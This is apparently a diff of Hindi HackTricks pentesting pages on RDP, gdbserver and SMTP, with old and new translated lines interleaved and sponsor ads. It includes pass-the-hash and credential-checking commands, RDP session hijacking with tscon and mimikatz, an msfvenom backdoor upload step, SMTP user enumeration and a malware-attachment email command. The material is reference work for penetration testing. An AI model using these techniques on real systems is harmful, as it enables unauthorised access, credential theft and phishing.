Microsoft द्वारा विकसित, **Remote Desktop Protocol** (**RDP**) को नेटवर्क के माध्यम से कंप्यूटरों के बीच ग्राफिकल इंटरफेस कनेक्शन सक्षम करने के लिए डिज़ाइन किया गया है। ऐसा कनेक्शन स्थापित करने के लिए, उपयोगकर्ता द्वारा **RDP** क्लाइंट सॉफ़्टवेयर का उपयोग किया जाता है, और साथ ही, दूरस्थ कंप्यूटर को **RDP** सर्वर सॉफ़्टवेयर चलाने की आवश्यकता होती है। यह सेटअप दूरस्थ कंप्यूटर के डेस्कटॉप वातावरण के निर्बाध नियंत्रण और पहुंच की अनुमति देता है, मूल रूप से इसके इंटरफेस को उपयोगकर्ता के स्थानीय डिवाइस पर लाता है।
**डिफ़ॉल्ट पोर्ट:** 3389
```
@ -64,13 +66,15 @@ xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
```
### RDP सेवाओं के खिलाफ ज्ञात क्रेडेंशियल्स की जांच करें
rdp\_check.py जो impacket से है, आपको यह जांचने की अनुमति देता है कि क्या कुछ क्रेडेंशियल्स RDP सेवा के लिए मान्य हैं:
impacket से rdp\_check.py आपको यह जांचने की अनुमति देता है कि क्या कुछ क्रेडेंशियल्स RDP सेवा के लिए मान्य हैं:
```bash
rdp_check <domain>/<name>:<password>@<IP>
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**कमजोरी मूल्यांकन और पेनटेस्टिंग के लिए तुरंत उपलब्ध सेटअप**। 20+ उपकरणों और सुविधाओं के साथ कहीं से भी एक पूर्ण पेंटेस्ट चलाएँ जो पुनः खोज से रिपोर्टिंग तक जाते हैं। हम पेंटेस्टर्स का स्थान नहीं लेते - हम उन्हें गहराई से खुदाई करने, शेल पॉप करने और मज़े करने के लिए कुछ समय वापस देने के लिए कस्टम उपकरण, पहचान और शोषण मॉड्यूल विकसित करते हैं।
#### एक हैकर के दृष्टिकोण से अपने वेब ऐप्स, नेटवर्क और क्लाउड का मूल्यांकन करें
**महत्वपूर्ण, शोषण योग्य कमजोरियों को खोजें और रिपोर्ट करें जिनका वास्तविक व्यावसायिक प्रभाव है।** हमारे 20+ कस्टम टूल का उपयोग करके हमले की सतह का मानचित्रण करें, सुरक्षा मुद्दों को खोजें जो आपको विशेषाधिकार बढ़ाने की अनुमति देते हैं, और आवश्यक सबूत इकट्ठा करने के लिए स्वचालित शोषण का उपयोग करें, जिससे आपका कठिन परिश्रम प्रभावशाली रिपोर्टों में बदल जाए।
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -78,7 +82,7 @@ rdp_check <domain>/<name>:<password>@<IP>
### सत्र चोरी
**SYSTEM अनुमतियों** के साथ आप किसी भी **उपयोगकर्ता द्वारा खोले गए RDP सत्र** तक पहुँच सकते हैं बिना मालिक का पासवर्ड जाने।
**SYSTEM अनुमतियों** के साथ आप किसी भी **उपयोगकर्ता द्वारा खोले गए RDP सत्र** तक पहुंच सकते हैं बिना मालिक के पासवर्ड को जाने।
**खुले सत्र प्राप्त करें:**
```
@ -92,7 +96,7 @@ tscon <ID> /dest:<SESSIONNAME>
**महत्वपूर्ण**: जब आप एक सक्रिय RDP सत्र तक पहुँचते हैं, तो आप उस उपयोगकर्ता को बाहर कर देंगे जो इसका उपयोग कर रहा था।
आप प्रक्रिया को डंप करके पासवर्ड प्राप्त कर सकते हैं, लेकिन यह विधि बहुत तेज़ है और आपको उपयोगकर्ता के वर्चुअल डेस्कटॉप के साथ बातचीत करने की अनुमति देती है (पासवर्ड नोटपैड में बिना डिस्क पर सेव किए, अन्य मशीनों में खोले गए अन्य RDP सत्र...)
आप प्रक्रिया को डंप करके पासवर्ड प्राप्त कर सकते हैं, लेकिन यह विधि बहुत तेज़ है और आपको उपयोगकर्ता के वर्चुअल डेस्कटॉप के साथ इंटरैक्ट करने की अनुमति देती है (पासवर्ड नोटपैड में बिना डिस्क में सेव किए, अन्य मशीनों में खोले गए अन्य RDP सत्र...)
#### **Mimikatz**
@ -105,7 +109,7 @@ ts::remote /id:2 #Connect to the session
इस तकनीक को **stickykeys** या **utilman** के साथ मिलाकर, आप किसी भी समय एक प्रशासनिक CMD और किसी भी RDP सत्र तक पहुँच सकते हैं।
आप पहले से ही इन तकनीकों में से एक के साथ बैकडोर किए गए RDPs को खोज सकते हैं: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
आप पहले से इन तकनीकों में से एक के साथ बैकडोर किए गए RDPs को खोज सकते हैं: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
### RDP Process Injection
@ -129,8 +133,8 @@ net localgroup "Remote Desktop Users" UserLoginName /add
* कमांड लाइन से स्वचालित तरीके से माउस और कीबोर्ड को नियंत्रित करें
* कमांड लाइन से स्वचालित तरीके से क्लिपबोर्ड को नियंत्रित करें
* क्लाइंट से एक SOCKS प्रॉक्सी उत्पन्न करें जो RDP के माध्यम से लक्षित नेटवर्क संचार को चैनल करता है
* लक्षित पर बिना फ़ाइलें अपलोड किए मनचाहे SHELL और PowerShell कमांड निष्पादित करें
* लक्षित पर फ़ाइल ट्रांसफर बंद होने पर भी लक्षित से फ़ाइलें अपलोड और डाउनलोड करें
* लक्षित पर फ़ाइलें अपलोड किए बिना मनचाहे SHELL और PowerShell कमांड निष्पादित करें
* लक्षित पर फ़ाइल स्थानांतरण बंद होने पर भी लक्षित से फ़ाइलें अपलोड और डाउनलोड करें
## HackTricks Automatic Commands
```
@ -153,7 +157,9 @@ Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-inf
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**कमजोरी मूल्यांकन और पेनटेस्टिंग के लिए तुरंत उपलब्ध सेटअप**। 20+ उपकरणों और सुविधाओं के साथ कहीं से भी एक पूर्ण पेंटेस्ट चलाएँ जो पुनः खोज से रिपोर्टिंग तक जाती हैं। हम पेंटेस्टर्स को प्रतिस्थापित नहीं करते - हम उन्हें गहराई से खुदाई करने, शेल पॉप करने और मज़े करने के लिए कुछ समय वापस देने के लिए कस्टम उपकरण, पहचान और शोषण मॉड्यूल विकसित करते हैं।
#### अपने वेब ऐप्स, नेटवर्क और क्लाउड पर एक हैकर का दृष्टिकोण प्राप्त करें
**महत्वपूर्ण, शोषण योग्य कमजोरियों को खोजें और रिपोर्ट करें जिनका वास्तविक व्यापार पर प्रभाव है।** हमारे 20+ कस्टम टूल का उपयोग करके हमले की सतह का मानचित्रण करें, सुरक्षा मुद्दों को खोजें जो आपको विशेषाधिकार बढ़ाने की अनुमति देते हैं, और आवश्यक सबूत इकट्ठा करने के लिए स्वचालित शोषण का उपयोग करें, जिससे आपका कठिन काम प्रभावशाली रिपोर्टों में बदल जाए।
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -166,7 +172,7 @@ GCP हैकिंग सीखें और अभ्यास करें: <
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **हमारा अनुसरण करें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>

View file

@ -17,19 +17,21 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**कमजोरी मूल्यांकन और पेनिट्रेशन टेस्टिंग के लिए तुरंत उपलब्ध सेटअप**। कहीं से भी 20+ उपकरणों और सुविधाओं के साथ एक पूर्ण पेंटेस्ट चलाएँ जो पुनः खोज से रिपोर्टिंग तक जाते हैं। हम पेंटेस्टर्स को प्रतिस्थापित नहीं करते - हम उन्हें गहराई से खुदाई करने, शेल पॉप करने और मज़े करने के लिए कुछ समय वापस देने के लिए कस्टम उपकरण, पहचान और शोषण मॉड्यूल विकसित करते हैं।
#### Get a hacker's perspective on your web apps, network, and cloud
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## **बुनियादी जानकारी**
## **Basic Information**
**gdbserver** एक उपकरण है जो दूरस्थ रूप से कार्यक्रमों की डिबगिंग की अनुमति देता है। यह उसी प्रणाली पर डिबगिंग की आवश्यकता वाले कार्यक्रम के साथ चलता है, जिसे "लक्ष्य" कहा जाता है। यह सेटअप **GNU Debugger** को एक अलग मशीन, "होस्ट," से कनेक्ट करने की अनुमति देता है, जहा स्रोत कोड और डिबग किए गए कार्यक्रम की बाइनरी प्रति संग्रहीत होती है। **gdbserver** और डिबगर के बीच कनेक्शन TCP या एक सीरियल लाइन के माध्यम से बनाया जा सकता है, जो बहुपरकारी डिबगिंग सेटअप की अनुमति देता है।
**gdbserver** एक उपकरण है जो दूरस्थ रूप से कार्यक्रमों का डिबगिंग सक्षम करता है। यह उसी प्रणाली पर डिबगिंग की आवश्यकता वाले कार्यक्रम के साथ चलता है, जिसे "लक्ष्य" कहा जाता है। यह सेटअप **GNU Debugger** को एक अलग मशीन, "होस्ट," से कनेक्ट करने की अनुमति देता है, जहा स्रोत कोड और डिबग किए गए कार्यक्रम की बाइनरी प्रति संग्रहीत होती है। **gdbserver** और डिबगर के बीच कनेक्शन TCP या एक सीरियल लाइन के माध्यम से किया जा सकता है, जो बहुपरकारी डिबगिंग सेटअप की अनुमति देता है।
आप किसी भी पोर्ट में **gdbserver को सुनने के लिए बना सकते हैं** और इस समय **nmap सेवा को पहचानने में असमर्थ है**
## शोषण
## Exploitation
### अपलोड और निष्पादित करें
### Upload and Execute
आप आसानी से **msfvenom के साथ एक elf बैकडोर बना सकते हैं**, इसे अपलोड कर सकते हैं और इसे निष्पादित कर सकते हैं:
```bash
@ -198,7 +200,9 @@ RemoteCmd()
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**कमजोरी मूल्यांकन और पेनटेस्टिंग के लिए तुरंत उपलब्ध सेटअप**। 20+ उपकरणों और सुविधाओं के साथ कहीं से भी पूर्ण पेंटेस्ट चलाएँ जो पुनः खोज से रिपोर्टिंग तक जाते हैं। हम पेंटेस्टर्स को प्रतिस्थापित नहीं करते - हम उन्हें गहराई से खुदाई करने, शेल पॉप करने और मज़े करने के लिए कुछ समय वापस देने के लिए कस्टम उपकरण, पहचान और शोषण मॉड्यूल विकसित करते हैं।
#### अपने वेब ऐप्स, नेटवर्क और क्लाउड पर एक हैकर का दृष्टिकोण प्राप्त करें
**महत्वपूर्ण, शोषण योग्य कमजोरियों को खोजें और रिपोर्ट करें जिनका वास्तविक व्यापार पर प्रभाव है।** हमारे 20+ कस्टम टूल का उपयोग करके हमले की सतह का मानचित्रण करें, सुरक्षा मुद्दों को खोजें जो आपको विशेषाधिकार बढ़ाने की अनुमति देते हैं, और आवश्यक सबूत इकट्ठा करने के लिए स्वचालित शोषण का उपयोग करें, जिससे आपका कठिन काम प्रभावशाली रिपोर्टों में बदल जाए।
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -210,8 +214,8 @@ GCP हैकिंग सीखें और अभ्यास करें: <
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>

View file

@ -17,15 +17,17 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**कमजोरियों के आकलन और पेनिट्रेशन परीक्षण के लिए तुरंत उपलब्ध सेटअप**। कहीं से भी 20+ उपकरणों और सुविधाओं के साथ एक पूर्ण पेंटेस्ट चलाएँ जो पुनः खोज से रिपोर्टिंग तक जाते हैं। हम पेंटेस्टर्स का स्थान नहीं लेते - हम उन्हें गहराई से खुदाई करने, शेल पॉप करने और मज़े करने के लिए कुछ समय वापस देने के लिए कस्टम उपकरण, पहचान और शोषण मॉड्यूल विकसित करते हैं।
#### Get a hacker's perspective on your web apps, network, and cloud
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## **बुनियादी जानकारी**
## **Basic Information**
**सिंपल मेल ट्रांसफर प्रोटोकॉल (SMTP)** एक प्रोटोकॉल है जो **ई-मेल भेजने और प्राप्त करने** के लिए TCP/IP सूट के भीतर उपयोग किया जाता है। प्राप्तकर्ता के अंत पर संदेशों को कतारबद्ध करने में इसकी सीमाओं के कारण, SMTP अक्सर **POP3 या IMAP** के साथ उपयोग किया जाता है। ये अतिरिक्त प्रोटोकॉल उपयोगकर्ताओं को एक सर्वर मेलबॉक्स पर संदेशों को संग्रहीत करने और उन्हें समय-समय पर डाउनलोड करने की अनुमति देते हैं।
**सिंपल मेल ट्रांसफर प्रोटोकॉल (SMTP)** एक प्रोटोकॉल है जो **ई-मेल भेजने और प्राप्त करने** के लिए TCP/IP सूट के भीतर उपयोग किया जाता है। प्राप्तकर्ता के अंत पर संदेशों को कतारबद्ध करने में इसकी सीमाओं के कारण, SMTP अक्सर **POP3 या IMAP** के साथ उपयोग किया जाता है। ये अतिरिक्त प्रोटोकॉल उपयोगकर्ताओं को सर्वर मेलबॉक्स पर संदेशों को संग्रहीत करने और उन्हें समय-समय पर डाउनलोड करने की अनुमति देते हैं।
व्यवहार में, यह सामान्य है कि **ई-मेल कार्यक्रम** **ई-मेल भेजने के लिए SMTP का उपयोग करते हैं**, जबकि **उन्हें प्राप्त करने के लिए POP3 या IMAP का उपयोग करते हैं**। यूनिक्स आधारित सिस्टम पर, **sendmail** ई-मेल उद्देश्यों के लिए सबसे अधिक उपयोग किया जाने वाला SMTP सर्वर है। Sendmail के रूप में ज्ञात व्यावसायिक पैकेज में एक POP3 सर्वर शामिल है। इसके अलावा, **Microsoft Exchange** एक SMTP सर्वर प्रदान करता है और POP3 समर्थन शामिल करने का विकल्प देता है।
व्यवहार में, यह सामान्य है कि **ई-मेल प्रोग्राम** **ई-मेल भेजने के लिए SMTP** का उपयोग करते हैं, जबकि **उन्हें प्राप्त करने के लिए POP3 या IMAP** का उपयोग करते हैं। यूनिक्स आधारित सिस्टम पर, **sendmail** ई-मेल उद्देश्यों के लिए सबसे अधिक उपयोग किया जाने वाला SMTP सर्वर है। Sendmail नामक व्यावसायिक पैकेज में एक POP3 सर्वर शामिल है। इसके अलावा, **Microsoft Exchange** एक SMTP सर्वर प्रदान करता है और POP3 समर्थन शामिल करने का विकल्प देता है।
**डिफ़ॉल्ट पोर्ट:** 25,465(ssl),587(ssl)
```
@ -38,9 +40,9 @@ PORT STATE SERVICE REASON VERSION
आप एक SMTP सर्वर से एक ईमेल भी प्राप्त कर सकते हैं जो **उस सर्वर को एक गैर-मौजूद पते पर ईमेल भेजने की कोशिश कर रहा है** (क्योंकि सर्वर हमलावर को एक NDN मेल भेजेगा)। लेकिन, सुनिश्चित करें कि आप ईमेल एक अनुमत पते से भेजते हैं (SPF नीति की जांच करें) और कि आप NDN संदेश प्राप्त कर सकते हैं।
आपको **विभिन्न सामग्री भेजने की कोशिश करनी चाहिए क्योंकि आप हेडर में अधिक दिलचस्प जानकारी पा सकते हैं** जैसे: `X-Virus-Scanned: by av.domain.com`\
आपको **विभिन्न सामग्री भेजने की कोशिश भी करनी चाहिए क्योंकि आप हेडर में अधिक दिलचस्प जानकारी पा सकते हैं** जैसे: `X-Virus-Scanned: by av.domain.com`\
आपको EICAR परीक्षण फ़ाइल भेजनी चाहिए।\
**AV** का पता लगाना आपको **ज्ञात कमजोरियों का शोषण करने** की अनुमति दे सकता है।
**AV** का पता लगाना आपको **ज्ञात कमजोरियों का लाभ उठाने** की अनुमति दे सकता है।
## Basic actions
@ -81,7 +83,7 @@ Or **automate** this with **nmap** plugin `smtp-ntlm-info.nse`
### आंतरिक सर्वर नाम - जानकारी का खुलासा
कुछ SMTP सर्वर "MAIL FROM" कमांड जारी करने पर बिना पूर्ण पते के प्रेषक के पते को स्वचालित रूप से पूरा करते हैं, जिससे इसका आंतरिक नाम प्रकट होता है:
कुछ SMTP सर्वर "MAIL FROM" कमांड जारी करने पर जब पूर्ण पते के बिना भेजने वाले के पते को स्वचालित रूप से पूरा करते हैं, तो इसका आंतरिक नाम प्रकट होता है:
```
220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
@ -102,13 +104,13 @@ MAIL FROM: me
```
### Sniffing
जांचें कि क्या आप पोर्ट 25 से पैकेट्स से कुछ पासवर्ड स्निफ़ कर सकते हैं
जांचें कि क्या आप पोर्ट 25 से पैकेट्स से कुछ पासवर्ड स्निफ़ कर रहे हैं
### [Auth bruteforce](../../generic-methodologies-and-resources/brute-force.md#smtp)
## Username Bruteforce Enumeration
**प्रमाणीकरण हमेशा आवश्यक नहीं होता**
**प्रमाणीकरण हमेशा आवश्यक नहीं ह**
### RCPT TO
```bash
@ -169,17 +171,19 @@ Nmap: nmap --script smtp-enum-users <IP>
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**कमजोरी मूल्यांकन और पेनटेस्टिंग के लिए तुरंत उपलब्ध सेटअप**। 20+ उपकरणों और सुविधाओं के साथ कहीं से भी एक पूर्ण पेंटेस्ट चलाएँ जो पुनः खोज से रिपोर्टिंग तक जाते हैं। हम पेंटेस्टर्स को प्रतिस्थापित नहीं करते - हम उन्हें गहराई से खुदाई करने, शेल पॉप करने और मज़े करने के लिए कुछ समय वापस देने के लिए कस्टम उपकरण, पहचान और शोषण मॉड्यूल विकसित करते हैं।
#### अपने वेब ऐप्स, नेटवर्क और क्लाउड पर एक हैकर का दृष्टिकोण प्राप्त करें
**वास्तविक व्यापार प्रभाव के साथ महत्वपूर्ण, शोषण योग्य कमजोरियों को खोजें और रिपोर्ट करें।** हमारे 20+ कस्टम टूल का उपयोग करके हमले की सतह का मानचित्रण करें, सुरक्षा मुद्दों को खोजें जो आपको विशेषाधिकार बढ़ाने की अनुमति देते हैं, और आवश्यक सबूत इकट्ठा करने के लिए स्वचालित शोषण का उपयोग करें, जिससे आपका कठिन काम प्रभावशाली रिपोर्टों में बदल जाए।
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## DSN रिपोर्ट
**डिलीवरी स्थिति सूचना रिपोर्ट**: यदि आप किसी संगठन को एक **ईमेल** एक **अमान्य पते** पर भेजते हैं, तो संगठन आपको सूचित करेगा कि पता अमान्य था, आपको **मेल वापस भेजकर**। लौटाए गए ईमेल के **हेडर** में संभावित **संवेदनशील जानकारी** (जैसे कि रिपोर्ट के साथ बातचीत करने वाली मेल सेवाओं का IP पता या एंटी-वायरस सॉफ़्टवेयर की जानकारी) होगी।
**डिलीवरी स्टेटस नोटिफिकेशन रिपोर्ट**: यदि आप किसी संगठन को एक **ईमेल** भेजते हैं एक **अमान्य पते** पर, तो संगठन आपको सूचित करेगा कि पता अमान्य था, आपको **मेल वापस भेजकर****हैडर** में लौटाए गए ईमेल में संभावित **संवेदनशील जानकारी** (जैसे कि रिपोर्ट के साथ बातचीत करने वाली मेल सेवाओं का IP पता या एंटी-वायरस सॉफ़्टवेयर की जानकारी) शामिल होगी।
## [Commands](smtp-commands.md)
### लिनक्स कंसोल से ईमेल भेजना
### लिनक्स कंसोल से एक ईमेल भेजना
```bash
sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf
Reading message body from STDIN because the '-m' option was not used.
@ -254,16 +258,16 @@ SMTP Smuggling भेद्यता ने सभी SMTP सुरक्षा
संस्थाएँ **SPF**, **DKIM**, और **DMARC** का उपयोग करके उनकी ओर से अनधिकृत ईमेल भेजने से रोकी जाती हैं क्योंकि SMTP संदेशों को धोखा देना आसान है।
इन **काउंटरमेर्स के लिए एक पूर्ण गाइड** [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/) पर उपलब्ध है।
इन **काउंटरमेर्स के लिए एक पूर्ण गाइड** [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/) पर उपलब्ध है।
### SPF
{% hint style="danger" %}
SPF [2014 में "deprecated" हुआ था](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/)। इसका मतलब है कि `_spf.domain.com` में **TXT रिकॉर्ड** बनाने के बजाय आप इसे `domain.com` में **एक ही सिंटैक्स** का उपयोग करके बनाते हैं।\
इसके अलावा, पिछले spf रिकॉर्ड को फिर से उपयोग करने के लिए कुछ ऐसा मिलना आम है जैसे `"v=spf1 include:_spf.google.com ~all"`
SPF [2014 में "deprecated" हुआ](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/)। इसका मतलब है कि `_spf.domain.com` में **TXT रिकॉर्ड** बनाने के बजाय आप इसे `domain.com` में **एक ही सिंटैक्स** का उपयोग करके बनाते हैं।\
इसके अलावा, पिछले spf रिकॉर्ड का पुन: उपयोग करने के लिए यह सामान्य है कि कुछ ऐसा पाया जाए जैसे `"v=spf1 include:_spf.google.com ~all"`
{% endhint %}
**Sender Policy Framework** (SPF) एक तंत्र है जो Mail Transfer Agents (MTAs) को यह सत्यापित करने में सक्षम बनाता है कि क्या ईमेल भेजने वाला होस्ट संगठनों द्वारा परिभाषित अधिकृत मेल सर्वरों की सूची को पूछकर अधिकृत है। यह सूची, जो IP पते/रेंज, डोमेन और अन्य संस्थाओं को **एक डोमेन नाम की ओर से ईमेल भेजने के लिए अधिकृत** करती है, SPF रिकॉर्ड में विभिन्न "**Mechanisms**" को शामिल करती है।
**Sender Policy Framework** (SPF) एक तंत्र है जो Mail Transfer Agents (MTAs) को यह सत्यापित करने में सक्षम बनाता है कि क्या एक ईमेल भेजने वाला होस्ट संगठनों द्वारा परिभाषित अधिकृत मेल सर्वरों की सूची को पूछकर अधिकृत है। यह सूची, जो IP पते/रेंज, डोमेन और अन्य संस्थाओं को **एक डोमेन नाम की ओर से ईमेल भेजने के लिए अधिकृत** करती है, SPF रिकॉर्ड में विभिन्न "**Mechanisms**" को शामिल करती है।
#### Mechanisms
@ -278,17 +282,17 @@ SPF [2014 में "deprecated" हुआ था](https://aws.amazon.com/premiu
| MX | यदि डोमेन नाम का एक MX रिकॉर्ड है जो भेजने वाले के पते पर हल होता है, तो यह मेल खाता है (यानी, मेल डोमेन के आने वाले मेल सर्वरों में से एक से आता है)। |
| PTR | यदि ग्राहक के पते के लिए डोमेन नाम (PTR रिकॉर्ड) दिए गए डोमेन में है और वह डोमेन नाम ग्राहक के पते पर हल होता है (फॉरवर्ड-कन्फर्म्ड रिवर्स DNS), तो मेल खाता है। इस तंत्र की सिफारिश नहीं की जाती है और इसे संभवतः टाला जाना चाहिए। |
| EXISTS | यदि दिए गए डोमेन नाम का कोई भी पता हल होता है, तो मेल खाता है (कोई फर्क नहीं पड़ता कि यह किस पते पर हल होता है)। इसका उपयोग शायद ही कभी किया जाता है। SPF मैक्रो भाषा के साथ यह DNSBL-queries जैसी अधिक जटिल मेल खाता है। |
| INCLUDE | किसी अन्य डोमेन की नीति का संदर्भ देता है। यदि उस डोमेन की नीति पास होती है, तो यह तंत्र पास होता है। हालाँकि, यदि शामिल की गई नीति विफल होती है, तो प्रोसेसिंग जारी रहती है। किसी अन्य डोमेन की नीति को पूरी तरह से सौंपने के लिए, रीडायरेक्ट एक्सटेंशन का उपयोग किया जाना चाहिए। |
| REDIRECT | <p>एक रीडायरेक्ट एक अन्य डोमेन नाम की ओर इशारा करता है जो एक SPF नीति को होस्ट करता है, यह कई डोमेन को एक ही SPF नीति साझा करने की अनुमति देता है। यह तब उपयोगी होता है जब एक बड़ी संख्या में डोमेन होते हैं जो समान ईमेल बुनियादी ढाचे को साझा करते हैं।</p><p>रीडायरेक्ट तंत्र में निर्दिष्ट डोमेन की SPF नीति का उपयोग किया जाएगा।</p> |
| INCLUDE | किसी अन्य डोमेन की नीति का संदर्भ देता है। यदि उस डोमेन की नीति पास होती है, तो यह तंत्र पास होता है। हालाँकि, यदि शामिल की गई नीति विफल होती है, तो प्रसंस्करण जारी रहता है। किसी अन्य डोमेन की नीति को पूरी तरह से प्रतिनिधित्व करने के लिए, रीडायरेक्ट एक्सटेंशन का उपयोग किया जाना चाहिए। |
| REDIRECT | <p>एक रीडायरेक्ट एक अन्य डोमेन नाम की ओर इशारा करता है जो एक SPF नीति को होस्ट करता है, यह कई डोमेन को समान SPF नीति साझा करने की अनुमति देता है। यह तब उपयोगी होता है जब एक बड़ी संख्या में डोमेन होते हैं जो समान ईमेल बुनियादी ढाचे को साझा करते हैं।</p><p>यह रीडायरेक्ट तंत्र में निर्दिष्ट डोमेन की SPF नीति का उपयोग किया जाएगा।</p> |
यह पहचानना भी संभव है **Qualifiers** जो **यह संकेत करते हैं कि यदि कोई तंत्र मेल खाता है तो क्या किया जाना चाहिए**। डिफ़ॉल्ट रूप से, **qualifier "+"** का उपयोग किया जाता है (तो यदि कोई तंत्र मेल खाता है, तो इसका मतलब है कि यह अनुमति दी गई है)।\
आप आमतौर पर **प्रत्येक SPF नीति के अंत में** कुछ ऐसा नोट करेंगे: **\~all** या **-all**। इसका उपयोग यह संकेत करने के लिए किया जाता है कि **यदि भेजने वाला किसी भी SPF नीति से मेल नहीं खाता है, तो आपको ईमेल को अविश्वसनीय (\~) के रूप में टैग करना चाहिए या ईमेल को अस्वीकार (-) करना चाहिए।**
#### Qualifiers
नीति के भीतर प्रत्येक तंत्र को चार में से एक qualifier द्वारा पूर्ववर्ती किया जा सकता है ताकि इच्छित परिणाम को परिभाषित किया जा सके:
नीति के भीतर प्रत्येक तंत्र को ्छित परिणम को परिभाषित करने के लिए चार क्वालिफायर में से एक द्वारा पूर्ववर्ती किया जा सकता है:
* **`+`**: एक PASS परिणाम के अनुरूप है। डिफ़ॉल्ट रूप से, तंत्र इस qualifier को मानते हैं, जिससे `+mx` `mx` के बराबर हो जाता है।
* **`+`**: एक PASS परिणाम के अनुरूप है। डिफ़ॉल्ट रूप से, तंत्र इस क्वालिफायर को मानते हैं, जिससे `+mx` `mx` के बराबर हो जाता है।
* **`?`**: एक NEUTRAL परिणाम का प्रतिनिधित्व करता है, जिसे NONE (कोई विशिष्ट नीति नहीं) के समान माना जाता है।
* **`~`**: SOFTFAIL को दर्शाता है, जो NEUTRAL और FAIL के बीच एक मध्य भूमि के रूप में कार्य करता है। इस परिणाम को पूरा करने वाले ईमेल आमतौर पर स्वीकार किए जाते हैं लेकिन उचित रूप से चिह्नित होते हैं।
* **`-`**: FAIL को इंगित करता है, यह सुझाव देता है कि ईमेल को सीधे अस्वीकार किया जाना चाहिए।
@ -318,7 +322,7 @@ _netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:1
### DKIM (DomainKeys Identified Mail)
DKIM का उपयोग आउटबाउंड ईमेल पर हस्ताक्षर करने के लिए किया जाता है, जिससे उनके बाहरी मेल ट्रांसफर एजेंट (MTAs) द्वारा डोमेन की सार्वजनिक कुंजी DNS से प्राप्त करके मान्यता प्राप्त होती है। यह सार्वजनिक कुंजी एक डोमेन के TXT रिकॉर्ड में स्थित होती है। इस कुंजी तक पहुँचने के लिए, चयनकर्ता और डोमेन नाम दोनों को जानना आवश्यक है।
